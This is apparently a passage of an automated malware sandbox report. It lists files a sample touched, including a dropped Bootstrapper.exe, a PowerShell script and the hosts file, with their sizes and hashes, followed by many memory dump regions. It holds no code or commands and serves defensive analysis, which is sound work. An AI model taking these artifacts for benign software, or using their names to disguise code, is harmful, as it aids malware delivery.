                                              ef56224de675098b4aa75a9253382ac8f82942ef95d8a1c23d1fa87630042bc95a7425219282900c8cc79f7e44093e2af1975c8383d43a6afe3dfdc944935de3

                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                              Filesize

                                              17KB

                                              MD5

                                              6d1d87347c64aabdf31fe70771dbcf16

                                              SHA1

                                              9dd1a32226d1af9f5d0cc11ff0845aa73a33362f

                                              SHA256

                                              2452d57b4e6bc2574d125907e0472d7f1d5c36c7d089ef21beec388e3385e5ef

                                              SHA512

                                              1274a7b8af23be11612576cdbaf02ef086e83dc203e21d5a05ef0f780f202304d0dc134aec8ef38aad13c3796f8027908f5596092c54facf2538d6f40e0d2a3f

                                            • C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe

                                              Filesize

                                              5.1MB

                                              MD5

                                              33a6872a056879c6a977599778a1fb0f

                                              SHA1

                                              109285b385ce0c21ee8b9624b63104d27a51115e

                                              SHA256

                                              79e48350a0712336332571a280272957ffc446c520e70a6e8827169fc84933d4

                                              SHA512

                                              7052a4d7e047768d0eb91b316c191aba2eb6247a66c0f39f2fd7e062bbdd31c402734c80b81dc2b144c199ecde2efc25a5afdfce476923a026bf927dff0c0973

                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btcvhjzw.vf0.ps1

                                              Filesize

                                              60B

                                              MD5

                                              d17fe0a3f47be24a6453e9ef58c94641

                                              SHA1

                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                              SHA256

                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                              SHA512

                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                            • C:\Users\Admin\Downloads\18-12-2024_UqVE2XPvW38Pgkj.zip.crdownload

                                              Filesize

                                              4.3MB

                                              MD5

                                              cf356b163f946dc2f16d95febf45a583

                                              SHA1

                                              e7c8e964c23f86765d729b82d3140604bb00cb7c

                                              SHA256

                                              50d3bf20e1534889385de4b8d780a750c9d37a75c941ffae6dd961caef2eb325

                                              SHA512

                                              baa6367011ebda751fe7ef40a49f99e96c5daf19e068b02b2cdf564477f17a792a9dc0887b9723208d0c49d55a7e1c501723643d12fee8c8dcd0d1406e65be2d

                                            • C:\Windows\system32\drivers\etc\hosts

                                              Filesize

                                              3KB

                                              MD5

                                              00930b40cba79465b7a38ed0449d1449

                                              SHA1

                                              4b25a89ee28b20ba162f23772ddaf017669092a5

                                              SHA256

                                              eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

                                              SHA512

                                              cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

                                            • memory/332-444-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/332-437-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/332-438-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/332-439-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/332-440-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/332-441-0x0000000140000000-0x000000014000E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/724-455-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-457-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-449-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-450-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-454-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-452-0x0000000000680000-0x00000000006A0000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/724-456-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-448-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-462-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-447-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-445-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-453-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-451-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-463-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/724-446-0x0000000140000000-0x0000000140848000-memory.dmp

                                              Filesize

                                              8.3MB

                                            • memory/1004-422-0x0000000006400000-0x000000000644C000-memory.dmp

                                              Filesize

                                              304KB

                                            • memory/1004-390-0x0000000005D10000-0x0000000006067000-memory.dmp

                                              Filesize

                                              3.3MB

                                            • memory/1260-304-0x0000000005740000-0x0000000005E0A000-memory.dmp

                                              Filesize

                                              6.8MB

                                            • memory/1260-341-0x0000000007EB0000-0x000000000852A000-memory.dmp

                                              Filesize

                                              6.5MB

                                            • memory/1260-303-0x0000000004F80000-0x0000000004FB6000-memory.dmp

                                              Filesize

                                              216KB

                                            • memory/1260-306-0x0000000005630000-0x0000000005696000-memory.dmp

                                              Filesize

                                              408KB

                                            • memory/1260-346-0x0000000007A10000-0x0000000007AA2000-memory.dmp

                                              Filesize

                                              584KB

                                            • memory/1260-307-0x00000000056A0000-0x0000000005706000-memory.dmp

                                              Filesize

                                              408KB

                                            • memory/1260-345-0x0000000008AE0000-0x0000000009086000-memory.dmp

                                              Filesize

                                              5.6MB

                                            • memory/1260-326-0x00000000060D0000-0x0000000006427000-memory.dmp

                                              Filesize

                                              3.3MB

                                            • memory/1260-342-0x0000000006B20000-0x0000000006B3A000-memory.dmp

                                              Filesize

                                              104KB

                                            • memory/3008-421-0x000001C6C2D30000-0x000001C6C2D3A000-memory.dmp

                                              Filesize

                                              40KB

                                            • memory/3008-419-0x000001C6C2C70000-0x000001C6C2D25000-memory.dmp

                                              Filesize

                                              724KB

                                            • memory/3008-418-0x000001C6C2C50000-0x000001C6C2C6C000-memory.dmp

                                              Filesize

                                              112KB

                                            • memory/3332-347-0x0000000007790000-0x0000000007826000-memory.dmp

                                              Filesize

                                              600KB

                                            • memory/3332-340-0x00000000073A0000-0x00000000073BE000-memory.dmp

                                              Filesize

                                              120KB

                                            • memory/3332-330-0x00000000710D0000-0x000000007111C000-memory.dmp

                                              Filesize

                                              304KB

                                            • memory/3332-329-0x0000000007340000-0x0000000007372000-memory.dmp

                                              Filesize

                                              200KB

                                            • memory/3332-328-0x00000000061E0000-0x000000000622C000-memory.dmp

                                              Filesize

                                              304KB

                                            • memory/3332-327-0x00000000061A0000-0x00000000061BE000-memory.dmp

                                              Filesize

                                              120KB

                                            • memory/3332-343-0x00000000073D0000-0x0000000007473000-memory.dmp

                                              Filesize

                                              652KB

                                            • memory/3332-344-0x0000000007580000-0x000000000758A000-memory.dmp

                                              Filesize

                                              40KB

                                            • memory/3332-305-0x0000000005260000-0x0000000005282000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/3884-425-0x0000000071100000-0x000000007114C000-memory.dmp

                                              Filesize

                                              304KB

                                            • memory/4720-363-0x000001E37E0D0000-0x000001E37E0F2000-memory.dmp

                                              Filesize

                                              136KB